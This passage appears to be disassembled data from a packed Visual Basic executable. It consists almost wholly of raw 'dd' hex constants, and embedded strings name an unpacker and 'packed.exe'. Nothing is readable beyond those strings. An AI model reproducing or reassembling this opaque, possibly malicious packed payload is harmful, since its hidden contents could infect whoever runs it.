		dd 0E906AE38h, 0FFFB1818h, 0AE397268h, 180EE906h, 0AB68FFFBh
		dd 0E906AE3Ah, 0FFFB1804h, 0AE3B8768h, 17FAE906h, 0E383FFFBh
		dd 54067419h, 0D68D01A2h, 4C35892Ah, 0C3BF13B0h, 7DF19439h
		dd 7E1FE59Dh, 0FAC5208h, 9536C2BBh, 2142B621h, 12BADCE3h
		dd 5F580FD0h, 0B9D2FFD2h, 104BD94Dh, 1BC4C7E4h,	7346A859h
		dd 3C5BF9F3h, 0A7215CE5h, 571A1CE8h, 0AB426E9h,	0A7F6DBE6h
		dd 0FD13BC5Ch, 561E37DBh, 3CC3h, 9D7B8200h, 9ADCEBFh, 0E50C1F9Eh
		dd 6181BEFCh, 5BF9E258h, 89053A65h, 0FB6B2ADEh,	0F62CA9C9h
		dd 95F013A7h, 0A636887h, 4E8D2CFEh, 0AA6D0CBAh,	0FD1BF5DAh
		dd 0E1561E1Ch, 0BBh, 4DB9D24Eh,	0E51F4BD9h, 7C88E331h
		dd 9B6F18AEh, 0F91AE8FAh, 83F45EA1h, 77605677h,	4DAA1383h
		dd 0E9C6A1Ch, 0F637C8ABh, 149B68Fh, 6FF3ED20h, 0A15E01C7h
		dd 6F901392h, 602560Fh,	0A3C063A4h, 84BDFF18h, 0AFA86262h
		dd 0FAE72FA2h, 0AB9E3658h, 48DBAC0Ch, 15F435E9h, 5EFAE6ECh
		dd 0CAB903Ch, 0E342DDACh, 6E94CCC2h, 8E2E178Ch,	0A825B73Fh
		dd 0D1Ch, 8A2BD18Dh, 17B44234h,	9B38C4A3h, 2546BA27h, 0B2D32951h
		dd 0CFBB630Bh, 44229035h, 30A519BAh, 0B8D3A7C4h, 0D2152F4Ch
		dd 0FD104B0h, 0E9D85158h, 8C78139Fh, 3BC1B90Dh,	47B3249Ah
		dd 81E61D26h, 522636F9h, 0E54756D9h, 7A81BEFCh,	50C4EB97h
		dd 0DB24E70Bh, 0F9337EBBh, 2B84435Bh, 7B359CABh, 88063B9Ah
		dd 367B2BDFh, 961CE777h, 519110EAh, 0A7F98021h,	0D737789Bh
		dd 0A7F980BFh, 98E8ABFAh, 8CBFD937h, 0CEAF561Fh, 70000000h
		dd 0B44DB9D2h, 6F11D849h, 11908D63h, 0F7530F9Dh, 3854B6h
		dd 2A755EA1h, 0A1009834h, 0EB4AD55Eh, 73B893Bh,	0A2D55EA1h
		dd 668A956h, 5EA104EEh,	0D4B978ABh, 0AD01F5E6h,	0ED9ECF28h
		dd 45248519h, 0A44B36BCh, 0D257C733h, 0BF7EA373h, 7452042h
		dd 0D3145BF9h, 0F90C1BB3h, 0A9DC56A7h, 8968C95Dh, 6B089B06h
		dd 7C85C720h, 0CB3DB3Bh, 0A7FEA7F9h, 0CCFB1BE4h, 0B1A2A086h
		dd 0A5DDD16Eh, 0E54D723Bh, 0C6A9B65Eh, 53A9D1A5h, 8D343EF3h
		dd 1578EA3Fh, 0BFCh, 0AACB31ADh, 3754A2D4h, 0BBD82443h
		dd 45669AC7h, 0D2F30971h, 2F5B432Bh, 0A4C2B0D5h, 1045395Ah
		dd 98F3C7E4h, 0F2354F6Ch, 0FCE6490h, 0C9F83158h, 2F4CB6D2h
		dd 0B7D4205Bh, 29B9D260h, 34A32914h, 748AF0C5h,	0D2603295h
		dd 73B44DB9h, 0A1E8FB13h, 0A88EEE5Eh, 0E8ADDD5h, 0EC911093h
		dd 3A5C40A9h, 5EA18F92h, 5CE544DFh, 1CB8DA1Bh, 765EA18Fh
		dd 0F332F105h, 0A0DFEE30h, 79A85BF9h, 23545AA5h, 23E247D7h
		dd 0F9C053FFh, 0B24631A7h, 0C93552E0h, 0F9D6BA55h, 0B916BAD0h
		dd 1F4D3157h, 553D56h, 9F020000h, 748D7713h, 0A1FEFA12h
		dd 0AD6CB75Eh, 7E83C12Eh, 3375007h, 5DDCEAEFh, 0A0B742A4h
		dd 0A9F85BFAh, 60A7CBF5h, 7D1DA7F9h, 0B09ABC52h, 2084561Fh
		dd 0AD000000h, 81BEFCE5h, 0FA07E061h, 0C052CD5Bh, 0F609F21Eh
		dd 78848A7h, 1F05CFE9h,	7DF56h,	0ED600000h, 827h, 0BEFCE502h
		dd 0E3936181h, 83225BFBh, 0F307707Eh, 473DB1D2h, 1344F6B9h
		dd 29D637E7h, 2DB4D66Bh, 86A2AA30h, 0F5A9550Ch,	61C034A7h
		dd 5816BEA0h, 0C063AC02h, 139FA061h, 0BB0B8A76h, 0A3F350C0h
		dd 0B5946624h, 41D62DD2h, 5C65D62Bh, 403657D6h,	0CA33E317h
		dd 91D26F2Dh, 2B0C571h,	3ACEBFACh, 0CB5AC968h, 0E57B748h
		dd 0ABA95AB6h, 4F319A78h, 4BD926D8h, 0A87CAh, 44BE2600h
		dd 0CF395327h, 5FA3D8AEh, 0ED11483Eh, 748EFAC8h, 0DEC0B457h
		dd 473B58A2h, 0F0C6E719h, 7E4C7185h, 0A8D4F90Dh, 0CFEF0767h
		dd 6DAA580Fh, 0FF12BE32h, 9A475EA1h, 39C727D8h,	16A4041Dh
		dd 2C19B5D5h, 0CD54A7F0h, 2F4CD74Ah, 1AE09816h,	0E3662988h
		dd 5BBB4406h, 0A2AA30ADh, 62709110h, 0EAD8FD09h, 0F6FC05F1h
		dd 26B4778Bh, 711C3AA7h, 6D762282h, 4D2CD6B2h, 0A43555EAh
		dd 9A9584Dh, 72656996h,	0C757986h, 3CFF22F0h, 0DA706B5Fh
		dd 547C1CB8h, 0A3D559B5h, 8313F255h, 547C3361h,	0BFDFE035h
		dd 35547C17h, 38EA164Dh, 38FB2AF9h, 530554BDh, 89D4F1A5h
		dd 0FA911A2Ch, 1F208362h, 0C4722FFh, 7B616D30h,	8210EA96h
		dd 4BEEBC1Fh, 0A2D955C8h, 8A6DCC5Eh, 6EE85528h,	0D223B1A8h
		dd 9A4h, 2A35905h, 8F2CDA8Ch, 13B04C3Bh, 9D3EC2BFh, 2A4BB129h
		dd 5733EB83h, 0CCBA08ADh, 483D9132h, 30AB1FBCh,	5A9DA7C4h
		dd 0FCC9C38h, 6150D958h, 8E7A139Fh, 9F1A9D1Ch, 830F3072h
		dd 67981BE5h, 0FBE27907h, 54ED345Bh, 2D5BF313h,	8F16A7F0h
		dd 8CFFF30Ch, 91CBC778h, 0F3C7A467h, 5FBE6C98h,	2F4FF0B2h
		dd 0A2AA311Dh, 8A083968h, 0B68141D1h, 45799236h, 9ACDC1E2h
		dd 56A6CE30h, 0B0F3AC02h, 0C825DD1h, 0BAFFAF5Bh, 0D1937CFBh
		dd 4A43CE30h, 0D54CA958h, 0C135A62Ch, 49BD2E9Ch, 85872BD5h
		dd 35D2B554h, 0DEA8CA77h, 0FDB00E99h, 2F0BB886h, 0C649239Ah
		dd 0BB37C85Bh, 44B827C0h, 0D3F053D6h, 0AB174BB2h, 972B1AA0h
		dd 0E684DF77h, 0A80B9ABBh, 0D62255E9h, 5A18C144h, 98B745A5h
		dd 0A7FEBEBCh, 2B6996F7h, 4D4DF416h, 0FF268563h, 0D23AA81Fh
		dd 6BEA781Ah, 8ACh, 0FA9B611Dh,	8724D284h, 0BA85433h, 9536CAB7h
		dd 2243B921h, 5F0BF37Bh, 0D4B200A5h, 4035892Ah,	0C8A317B4h
		dd 22659F3Ch, 0FCD94C0h, 79A8E158h, 0D94DB9D2h,	9A5C506h
		dd 445EA1FEh, 0FFE85ADDh, 80FB6318h, 54673BE2h,	0A072D5B4h
		dd 198D7912h, 7727D18Bh, 831B4032h, 0B449DBFEh,	16846724h
		dd 48612E26h, 102A653Bh, 48F29367h, 5CC7352Eh, 1030h, 0E794EF00h
		dd 25E2B007h, 0ED7F6E31h, 4BEh,	2AE0D02h, 7D99F9E5h, 385EA1FEh
		dd 0F5F906E9h, 1A0728Eh, 0A42141BEh, 0F35BF9EAh, 0BB473CB2h
		dd 7C9846EBh, 39A7F614h, 69B827E6h, 56A0DAD8h, 0E49165C4h
		dd 76689110h, 0C8C0450Ch, 0B54A08F1h, 0B61CA855h, 89A057Dh
		dd 1926648Dh, 532EA8F9h, 0E51A8544h, 0DA086D9Eh, 65240BCBh
		dd 26575B9Ch, 5EE140D2h, 6E0FFBECh, 3B9B6F18h, 0D5DB6ABEh
		dd 0B185089Ah, 18000007h, 89FD9E64h, 368429DFh,	0A210B549h
		dd 249A3BC7h, 862546BCh, 0AE540CEEh, 3DC3B90Dh,	47B32A98h
		dd 0D3275026h, 2D4D92B2h, 580FCA81h, 0D26C43CCh, 4BD94DB9h
		dd 0BFC0E51Fh, 0FEF01C7Eh, 62BD5EA1h, 0F9BB24A3h, 0E2622648h
		dd 902F5BFBh, 45BB85F0h, 6AD5F6C9h, 6FD6BC62h, 9E142D8Ch
		dd 699619EDh, 79867265h, 0DAB54D02h, 9BB2EE05h,	2E2124E9h
		dd 0DDBE019Eh, 980AFEE9h, 2EE93C47h, 0DBE4085Ah, 7634DD58h
		dd 0BC7D88C9h, 792F2B74h, 0F3855DDCh, 0C2A2AA89h, 0A7D0DE63h
		dd 0D6DAE53h, 0AC02C1E1h, 0D1B275ACh, 0AC7E8AFDh, 3A98621Eh
		dd 3F8045A9h, 0F9A21381h, 50000006h, 0C1B5D62Ch, 4E3C6197h
		dd 0FAC8ED11h, 7C52738Fh, 3EDDFE04h, 0E61C4436h, 758BF1C5h
		dd 0FF0B6250h, 0BFFE8DEh, 0F5155A6Ah, 580FCB59h, 0E5A49B14h
		dd 6181BEFCh, 5BFBE2AFh, 747A871Eh, 0E0D6F703h,	2A9303F7h
		dd 10728FCDh, 0A2A8208Dh, 36A7079Eh, 0E23F8ACEh, 69E1D70h
		dd 570F0000h, 0C0BA08ADh, 0BA219536h, 28512546h, 0A7C3B7D4h
		dd 0D99D385Dh, 2243B921h, 0ABC836ACh, 3152A6D7h, 0BDDE2A5Dh
		dd 0F61E4087h, 0C3580FCBh, 0B9D25B76h, 104BD94Dh, 6F2136E4h
		dd 2C5B5720h, 5CDF42D0h, 6E1AFDEEh, 0F6903594h,	5CC712D0h
		dd 0EDEh, 139F6300h, 971A8874h,	2D49914h, 9F960000h, 0A8D7713h
		dd 6B3BCFB8h, 2F5405E2h, 95CD43D3h, 9B7ABF6Fh, 0E140BC2Bh
		dd 0BCDE1F20h, 5EA1FE10h, 9F43C25Dh, 5BFBE3EDh,	0A24D34BAh
		dd 0C8693DC9h, 0F174B569h, 3907D43h, 0D251D02Dh, 616DAE53h
		dd 8F128074h, 0F0883B53h, 6C2F76A7h, 34C0BB0Fh,	52A8D066h
		dd 0AB8D6A31h, 0A0029049h, 8FB013FFh, 0AADC3E6Fh, 1EFC0BA2h
		dd 0D6164925h, 92E916F9h, 5D0B1F9Ch, 0F60B8AE6h, 0C5258FF8h
		dd 0AC0262A9h, 0B9DABDE4h, 0B46692C5h, 12807A66h, 5CA8DDD1h
		dd 0F3B15EDDh, 9B8D2C4Eh, 4FD6A959h, 0D8E9C0EFh, 43B22026h
		dd 594h, 12B34935h, 9F3CCABCh, 2340BC2Bh, 0ADCE32AFh, 3A5BA1D9h
		dd 4723DB93h, 3CAA18BDh, 0B82DA1C2h, 205B2F4Ch,	4A8DB7D4h
		dd 0FC88C28h, 5140C958h, 0D94DB9D2h, 5BE4104Bh,	66882A57h
		dd 5EA1FECEh, 0F6B9188Bh, 4E411764h, 84930374h,	124C37EFh
		dd 0A2E38063h, 0EED50161h, 1A05EA1h, 22BED8BEh,	7A05CC7h
		dd 71000000h, 15DEDh, 0B9D20200h, 7AC8E94Dh, 0AE3CCD23h
		dd 51727h, 34CEB600h, 0BF492397h, 0CF33A81Eh, 5DA1D8AEh
		dd 0E41E4A38h, 0AE5024C7h, 0D7ABC832h, 403657A9h, 0CEBCE115h
		dd 3844699Dh, 0C97F97F7h, 0FD3A580Fh, 4DB9D2C2h, 843049B4h
		dd 0B6396187h, 84CD6989h, 19885EA1h, 0C5B60496h, 0C9BD4922h
		dd 1F8F6E92h, 94F63748h, 5EA18478h, 798FF935h, 46BC2496h
		dd 201AB5C7h, 47BE43B7h, 6EA9923Eh, 8ABF5A0h, 6FCB4020h
		dd 0CE680D8Ch, 5CC723A8h, 0B14530BEh, 0D958A4DDh, 2520h
		dd 0EFE41F00h, 4FB12F08h, 6529B688h, 0B3EDB3A2h, 2000000h
		dd 0ADEDh, 5591EC00h, 338AE2CFh, 5EC135A6h, 0FCE5CCDFh
		dd 0AF6181BEh, 1E5BFBE3h, 0D9397A87h, 0A7F02CBDh, 74E6A9F8h
		dd 95AAE811h, 0A8377475h, 4E639A2h, 3F8AD873h, 3D84099Bh
		dd 0EC000004h, 15690AF0h, 82F09563h, 67419E5h, 0B006A75Bh
		dd 0EA9132C8h, 1AE09882h, 0A15F0579h, 2BDF8EFCh, 0B743348Ah
		dd 49A9EE16h, 580FC62Dh, 9FF02F68h, 0FE903C5Eh,	51DD5EA1h
		dd 0B275D428h, 7788CA37h, 66CEB836h, 0A1FEE804h, 9B7AA55Eh
		dd 4505C618h, 1C965BFAh, 53A9D69h, 8D2ED289h, 0F64E3C55h
		dd 0D92D5EA7h, 7699C6B4h, 9C0EF105h, 3CB31h, 0FCE53E00h
		dd 1E4081BEh, 5EA1FEF6h, 0ED1773C3h, 14768B0Ah,	5BFBE362h
		dd 0FB42D053h, 43A35C1Eh, 0A2A83786h, 0FB3A980Bh, 5F3F8AD8h
		dd 39A40CDh, 53330000h,	0C4B604A9h, 463D9132h, 3CA519BAh
		dd 0B32FA3C0h, 0ED812449h, 0EAF550Dh, 9F3CC2B8h, 2546B22Bh
		dd 0B1D22651h, 822A4C93h, 0CF580FC6h, 0FCE56F42h, 936181BEh
		dd 225BFBE3h, 7707E83h,	4AB1D2F3h, 897FFE28h, 6FDF5EE0h
		dd 0B31A887Ch, 0E7EB1456h, 0CBB707F9h, 71916E31h, 0A2AAC0F0h
		dd 4DB7D3DFh, 4AD958D9h, 3FA826DBh, 0A3D4AACBh,	9946C757h
		dd 99C426DBh, 1AA95B0Eh, 0FCFB6BEFh, 6F1A9AFAh,	0ED513093h
		dd 26D925AEh, 9018C1Eh,	0A0000003h, 0D1A5C63Ch,	5E2C51A7h
		dd 0CAB8DD21h, 4C42639Fh, 2ECDEE14h, 0D62C5446h, 659BC1B5h
		dd 0EF1B7240h, 7B8FF8CEh, 85E52A5Ah, 580FC769h,	0D2B4EB24h
		dd 5BF313B9h, 165EA1FEh, 287E2C8Fh, 192A4BBFh, 8115E395h
		dd 0FD1A6120h, 696082BFh, 5A5BF9F3h, 9A95BCBh, 0B3A7F61Fh
		dd 385EB01Fh, 26561EF4h, 2Ch, 0ADFCE50Bh, 0D75AC834h, 6EABCB74h
		dd 335BF9E2h, 508022F0h, 0EAA7F62Ch, 901E6926h,	208115E9h
		dd 0E0DFF961h, 0E2CF561Eh, 50000000h, 0D94DB9D2h, 5CE51F4Bh
		dd 5DD12556h, 8A7C6EDCh, 84169918h, 0FDB14536h,	0ABC83CAFh
		dd 0A1F945BBh, 0E9094A5Eh, 0A15E054Dh, 0BE259908h, 0CE51D042h
		dd 42FF0B7Ch, 3BEB174Ch, 2D5637F6h, 6DC137A1h, 8EF94DCCh
		dd 92C9C57Ah, 0BA7DBC6Eh, 644AD28h, 0FF2C99F9h,	9609A405h
		dd 0B49B6F5h, 1274B5F6h, 0A7F615FAh, 0A4D032B7h, 0F1A7F615h
		dd 27FCFAEh, 5CE33FFEh,	11A2AF8Bh, 0CE30718Eh, 0AC0CB7A6h
		dd 10F1B0F3h, 0C06C8ECFh, 8DAC0CB7h, 47239312h,	5C0E84BDh
		dd 0F6B9F8AAh, 43B92195h, 8E33C6E3h, 9DF0623Fh,	1D0h, 0DEFF0579h
		dd 6B08FEE8h, 0F7946817h, 791AE683h, 6A75D05h, 736F0F67h
		dd 0E896E489h, 54017516h, 0DC8F03A0h, 36798B28h, 0FC4B8D4h
		dd 85BCF558h, 2F4CB6D2h, 0B7D4205Bh, 0BEFCE560h, 0E2586181h
		dd 3A655BF9h, 6F1B9768h, 0A4CC1295h, 1EA7F62Ch,	3A52B4F5h
		dd 77A7F62Ch, 0B41B6D2Ch, 346082C3h, 81A7F62Ch,	0CC3AAC1Eh
		dd 0E10B2D4Dh, 0A213561Eh, 3C000000h, 0B44DB9D2h, 0ECBE403Eh
		dd 0CA58CA4Dh, 0CB6649Eh, 5EA1F9B6h, 0B2D32750h, 0CF5FABDCh
		dd 5EE3A14Eh, 6705E61Dh, 1B45C8B2h, 3B7F4698h, 8D38A405h
		dd 8887D730h, 0DFFC5F07h, 0D07133DCh, 465DF1B5h, 7235FFE2h
		dd 0D1716D8Dh, 0E53CA2AFh, 8E2A565Ch, 0CF8C06Ch, 0B3128DACh
		dd 3EC4BC12h, 8E7C735Ch, 84099B3Fh, 0F4h, 0B2D32955h, 3F5CAADCh
		dd 0C3E01C4Bh, 4D6E92CFh, 0DAFB0179h, 27433B33h, 9CCAB8DDh
		dd 184D4162h, 80FBCFECh, 0EA2D5774h, 0FC56C88h,	0B1E02958h
		dd 2F4CB6D2h, 0B7D4205Bh, 4DB9D260h, 0E4104BD9h, 591BC4C7h
		dd 0E20746A8h, 0FCF25BFBh, 8C706F8Ah, 79389B1Eh, 55EBBBEAh
		dd 0C1B5D622h, 0F3097196h, 0EFAED23h, 0DBBA1D9Ch, 413AB84Bh
		dd 4E2CF2B5h, 38B7E1B5h, 5AE8BA40h, 5747D723h, 8399B01Fh
		dd 27ABDCF3h, 51D042B6h, 9569068Ah, 0B4778C84h,	0FCA15506h
		dd 1829DD8Eh, 8416E09Ah, 0EFF06225h, 41B520AEh,	9E7075A1h
		dd 5EE14097h, 6E1AF5ECh, 0C0A30694h, 2EDAB33Fh,	0E87A3D7Ch
		dd 5C662927h, 85BEDF2Bh, 17CF5109h, 8E8BA00Ah, 3AC55938h
		dd 9E62BCD8h, 0C7A6F997h, 7185F644h, 1250BDh, 0E0410000h
		dd 10BCDE1Fh, 5D5EA1FEh, 0F50970C2h, 2E018021h,	0DA48B2D2h
		dd 37E71344h, 9200F4E1h, 0A98661Ch, 6436CCB4h, 0C250AAD6h
		dd 35E9154Ch, 9604F8E7h, 0F2A05600h, 0E7895714h, 2C75BB53h
		dd 0E3C15288h, 81DBF706h, 234A70EBh, 0D9F38128h, 0C1096121h
		dd 0C38104E3h, 34F46774h, 835BDF01h, 3C8704EFh,	89525C24h
		dd 4C281E2h, 83000000h,	148704EAh, 1C895C24h, 4EC8324h
		dd 68243C89h, 3C83h, 0B9240C89h, 6AE2E51h, 5459CB89h, 83243C8Bh
		dd 565304C4h, 674D45BEh, 24743161h, 478F5E04h, 8778108h
		dd 61674D45h, 52243C8Bh, 0C281E289h, 4,	4C281h,	14870000h
		dd 34FF5C24h, 0C4835B24h, 916E904h, 0B696FFFBh,	91143EEAh
		dd 0EA355C0Eh, 0B81A6F3Bh, 6AE3CA0h, 0E0FFC503h, 67BF7A2Dh
		dd 62142585h, 5B173890h, 1C96EF06h, 6FD673F8h, 411499B8h
		dd 0E1DB2D3h, 163E9h, 84FAA400h, 0E705C562h, 5C3A4377h
		dd 6E755F6Dh, 6B636170h, 70007265h, 656B6361h, 78652E64h
		dd 65h,	3Ah dup(0)
		dd 61433300h, 746F6E6Eh, 6E696620h, 25272064h, 202E2773h
		dd 61656C50h, 202C6573h, 692D6572h, 6174736Eh, 74206C6Ch
		dd 20736968h, 6C707061h, 74616369h, 6E6F69h, 6E756854h
		dd 614D5452h, 5F006E69h, 6162765Fh, 54726156h, 654E7473h
		dd 2 dup(0)
		dd 1BEEE9h, 409E6800h, 0E3E906AEh, 68FFFA3Eh, 6AE41CEh
		dd 0FA3ED9E9h, 430368FFh, 0CFE906AEh, 68FFFA3Eh, 6AE43B2h
		dd 0FA3EC5E9h, 43F168FFh, 0BBE906AEh, 68FFFA3Eh, 6AE44C1h
		dd 0FA3EB1E9h, 451468FFh, 0A7E906AEh, 68FFFA3Eh, 6AE4572h
		dd 0FA3E9DE9h, 4C0868FFh, 93E906AEh, 68FFFA3Eh,	6AE4CA4h
		dd 0FA3E89E9h, 4D5868FFh, 7FE906AEh, 68FFFA3Eh,	6AE4E59h
		dd 0FA3E75E9h, 4EE768FFh, 6BE906AEh, 68FFFA3Eh,	6AE4FAEh
		dd 0FA3E61E9h, 506668FFh, 57E906AEh, 68FFFA3Eh,	6AE5108h
		dd 0FA3E4DE9h, 575F68FFh, 43E906AEh, 68FFFA3Eh,	6AE58A6h
		dd 0FA3E39E9h, 593E68FFh, 2FE906AEh, 6DFFFA3Eh,	9C0783CAh
		dd 0CB74B2F7h, 0FDA6E4ADh, 2D961451h, 7EC5410Ch, 0FBB6D73Bh
		dd 2F6204AFh, 5D14389Bh, 8EC766C9h, 0CBEAC38h, 0B606160Ch
		dd 0FF8BB0F6h, 1788155Ch, 5EE93D74h, 67A145FEh,	0B5FFF5F8h
		dd 74736CEEh, 797DBDCFh, 0EC47B600h, 767FE712h,	0EE331C22h
		dd 6E286Ch, 5C9E44B6h, 0A75ECA20h, 9E236B0h, 0B4BEAAA8h
		dd 3E591477h, 23000000h, 46D29FC0h, 0EB5E75Dh, 54FAED8h
		dd 1A35B600h, 40446ECh,	0FEB60005h, 1317B155h, 0F1B60005h
		dd 0E971D246h, 0B60004ADh, 0B1C162C9h, 1477F8C5h, 0CC85A708h
		dd 50E23667h, 0C5h, 3459BAEBh, 0D5782771h, 0ED8E179Ch
		dd 83A203A0h, 99BC65CAh, 0C0B04AD0h, 0E3AF57DBh, 12BD0940h
		dd 34F53A73h, 7D8F3B80h, 0B5FFE3EEh, 0F8304AF0h, 0CAB5FFE3h
		dd 2E093761h, 368D2F98h, 440D2F90h, 806ACEDFh, 0AA85EA46h
		dd 4B7FD8BCh, 3C8AC768h, 9BFF293h, 0EC80521Bh, 5E05FE3Dh
		dd 61000019h, 983B8FC6h, 0C768BEFBh, 0F152E8A1h, 2182185Dh
		dd 72F94D00h, 0FFB2D33Fh, 2B6608ABh, 5910349Fh,	8AC362CDh
		dd 8B2A83Ch, 0B6061710h, 0FF8FB4F2h, 7223F25Eh,	0D2974353h
		dd 65A7CDF9h, 0AF585625h, 4B4FF91Fh, 39AF5856h,	9F3251Eh
		dd 78CE87A6h, 91113192h, 58563377h, 4D2611AFh, 56133FE0h
		dd 0B1E7D0C9h, 3459BA6Ah, 8AFB2C71h, 0B176A2EBh, 0A102B803h
		dd 866CCC81h, 9DD47758h, 85A60710h, 87E660C8h, 7DB60005h
		dd 898D4DD2h, 25B60005h, 0F9D5E54Eh, 341477F8h,	113C7C8Eh
		dd 2D06B600h, 0CE498Bh,	0FFD20000h, 4BF1155Ch, 57D6F931h
		dd 0C860CBAFh, 0E4A9CA5Bh, 0C305A3BFh, 0AF57D6C7h, 0C00692BDh
		dd 0AF57DB10h, 6DB9F093h, 45EAA3C2h, 3FEB50C4h,	400D2E91h
		dd 0E2CB1EE8h, 9EB9B5FFh, 6201E208h, 9A3A8D2Bh,	315F8521h
		dd 0FFE39397h, 0CC671B5h, 23350645h, 0E066B260h, 0BCAB2B3Fh
		dd 5F9EBE21h, 409A733Eh, 0BDAF93AFh, 32DC5C01h,	1947ED19h
		dd 0AAEBABEFh, 7ABE99BCh, 4DD994B5h, 0DC0C41E2h, 0EC7FEC62h
		dd 2EC04162h, 31000018h, 68CB5F16h, 97388ECBh, 0C162B8F1h
		dd 0F152E8ADh, 2891D50h, 0CF82A36Fh, 0FBB6D87Bh, 296004AFh
		dd 5A13329Dh, 788258CCh, 0B6061840h, 0FF5FC402h, 0CF7135Eh
		dd 0DF72168h, 7CCA83A2h, 460F2D96h, 4368C0D9h, 88155CFFh
		dd 0E93D7417h, 0A145FE5Eh, 0D6C9C17Bh, 90BBAF57h, 6DA8D218h
		dd 57B5FFE6h, 6FB7B7FCh, 0BB5FFE6h, 7F3FFA0h, 0CE1477DDh
		dd 0EE2266A0h, 82C4B5FFh, 0B5FFEE86h, 3813D37Ch, 0EF42F0h
		dd 0FE240000h, 0FFEE4C4Ch, 9B1D36B5h, 3959BA90h, 0A4852474h
		dd 4BEAD97Bh, 78A5E88Ah, 0B0E9362Fh, 729923C7h,	50B5FFEDh
		dd 9089C3E7h, 0CD84A7F3h, 0EABF3760h, 872F89A1h, 9AF31741h
		dd 7A20948Ah, 8641BC11h, 8E3C1544h, 0E0480525h,	0B859C07Ah
		dd 0E10F9143h, 0B80901BBh, 50FB9143h, 43B872B6h, 0CE6F5091h
		dd 140D1E83h, 54D990B3h, 2BD543h, 3A5C47A3h, 36662177h
		dd 582F598Dh, 0E97EF21h, 204184A5h, 0FE2F746Dh,	0FBB94BAh
		dd 0F05CFEE1h, 62299C29h, 9B18F182h, 4E072182h,	6F2645EAh
		dd 9CD578DBh, 3B6CDC6Ch, 3E872411h, 16F9h, 96145DFCh, 0C145002Dh
		dd 37733A5Eh, 67A3E68Ch, 50D69BBCh, 0CB6CA6CBh,	0FF9F0086h
		dd 0A9CB74B2h, 5AF95AE0h, 0D5179713h, 61A77B3h,	200F4DB6h
		dd 88155CFFh, 0F016AD0Fh, 0FFE64F56h, 8C1A35B5h, 0FF2001A7h
		dd 0CC16E5Dh, 0AFF8256Ch, 9F29DDB6h, 0B5FFED6Ch, 98D57556h
		dd 7DBDCF1Bh, 47B5FFEDh, 0AE1AF3ECh, 28E81218h,	902B893Dh
		dd 0F769D06Ah, 0F05B43D0h, 794AEAB3h, 3A790D5h,	7C602EF9h
		dd 8F3B144Ah, 92480124h, 0D55A1331h, 0EE54C4h, 0BD5FBDF6h
		dd 6ADB4B3Ch, 11A87CEh,	0A4650897h, 34D4CD84h, 5EAE361Eh
		dd 4ACCB576h, 4D000016h, 7C27632Ah, 0AB1492D7h,	0DD46C48Dh
		dd 0DB6F4B1h, 1EE5216Ch, 0DB96B75Bh, 0F42E44Fh,	3D7418BBh
		dd 6E2746E9h, 6C9E4CD8h, 0B6061A2Ch, 0FF6BD016h, 59F3155Ch
		dd 0BFF9D300h, 160B837Ch, 6B0E0000h, 163BE422h,	0CC6CD753h
		dd 0F09E0185h, 0ADCE71B5h, 9CDD5AE0h, 298D576h,	7ECC81A1h
		dd 0A8FEB7D5h, 992D6407h, 6DADDF0Dh, 57B6061Ah,	1CBA2A11h
		dd 57D6AEEAh, 7DBB94AFh, 55DA93B2h, 2FDB60D4h, 0FFEC269Dh
		dd 0F7331CB5h, 6159E309h, 23B5FFECh, 2F01A008h,	0D1F54EEEh
		dd 0A80244B7h, 0B3153EBCh, 50BA6315h, 4FF45859h, 0C9BA619Bh
		dd 27885FF8h, 0B2EB4801h, 0E4AB2DD9h, 461D9224h, 0E8F7CBCh
		dd 57F115AEh, 66A410C0h, 3DC74882h, 7DB866B7h, 1E0F94D1h
		dd 359E4C25h, 21AB5F16h, 1AA5BACh, 3C7518A1h, 5CCDA6F7h
		dd 5C267237h, 0F09150F3h, 0FBC670BDh, 31FE7BF0h, 0D62AA49Dh
		dd 0D1C58438h, 0A94D7B54h, 2B4286BCh, 153B3788h, 1B3E0000h
		dd 0C66BD452h, 0FC9C0783h, 0A0CE71B5h, 5DFEA1E5h, 6C0D8A10h
		dd 72C885A6h, 0AEFCB1D1h, 982E6705h, 0C95D1437h, 3D7D8F5Dh
		dd 7B6061Bh, 62A65AC1h,	18AF57D7h, 0AF57E71Ch, 57F6D6DEh
		dd 0F79094AFh, 7013AF57h, 0E1518F39h, 0BC7FF9D2h, 14E8C3h
		dd 54CEB00h, 34711E81h,	622B4DF6h, 92D77B24h, 0C78AAB14h
		dd 5DB5C443h, 8A35713Ch, 0BE61A5E8h, 0F053D79Eh, 2686044Dh
		dd 1C8682C4h, 3E7CB606h, 0EB5E711h, 0C38B2D8h, 88804A89h
		dd 0B84F991Fh, 8AB60071h, 88E3CA40h, 506B9EEBh,	8D380EB0h
		dd 0D3F5EEC7h, 0F32A7917h, 8A897AB9h, 8D000014h, 0BC67A3EAh
		dd 0EB54D297h, 1D86044Dh, 4DF63471h, 5E25612Ch,	1B56F71Bh
		dd 4F02248Fh, 7D3458FBh, 0AEE78629h, 2C5E8C18h,	0B6061BECh
		dd 0BAAB90D6h, 2E733A59h, 51F4BBFDh, 6B0A9B18h,	0EECDFD22h
		dd 0D5F17B45h, 0AB7785BEh, 2A069206h, 0CD12DFB9h, 1Ch
		dd 0D75EA656h, 9F00AF57h, 0BE61B7F2h, 0B650D69Fh, 0AFB35CEDh
		dd 1A10F13Eh, 2B000014h, 0DAF45CFFh, 84C6989Ah,	1317B155h
		dd 0F1AF5869h, 47C06D46h, 0EB86ED5h, 0B600884Bh, 7E81E39h
		dd 0CF8AA76Ah, 0D3504962h, 8F783D52h, 0B418A329h, 0B6AFEA87h
		dd 0C38EAF10h, 1EB4D5Eh, 0A89FBCC7h, 62586BCh, 58C9564Fh
		dd 0B0419830h, 0E6AE5731h, 484FB90Dh, 5BBCA83Fh, 9958FB36h
		dd 3D6EB3FAh, 0D5CEDF44h, 441EE51h, 0A469069Fh,	326BC881h
		dd 0F855D459h, 46033037h, 56133FA0h, 0E0DC78C2h, 71F8FBEh
		dd 250h, 0EB5E718h, 0DDDFAED8h,	6BA5B5FFh, 14CB5F8Bh, 1CCAA338h
		dd 24610DF6h, 2464AEFFh, 1EB600B5h, 9F00E335h, 0B013B7F2h
		dd 0E852C683h, 66A2E402h, 5CB600B5h, 55FAA5F3h,	4B4B9310h
		dd 0B7B600C5h, 0C76C733Ch, 11830482h, 0EDD67CAAh, 0C2C6004Dh
		dd 80B600C4h, 0A1DB0197h, 0BCA8F22Eh, 2F88A630h, 0DA8988F6h
		dd 0A96468A0h, 18F15ABCh, 58C56E90h, 3FEBA6C7h,	0BEFABFD4h
		dd 0D1AC2ED4h, 0C5008159h, 3C173E7Eh, 4C25BA96h, 0BBFDBBB2h
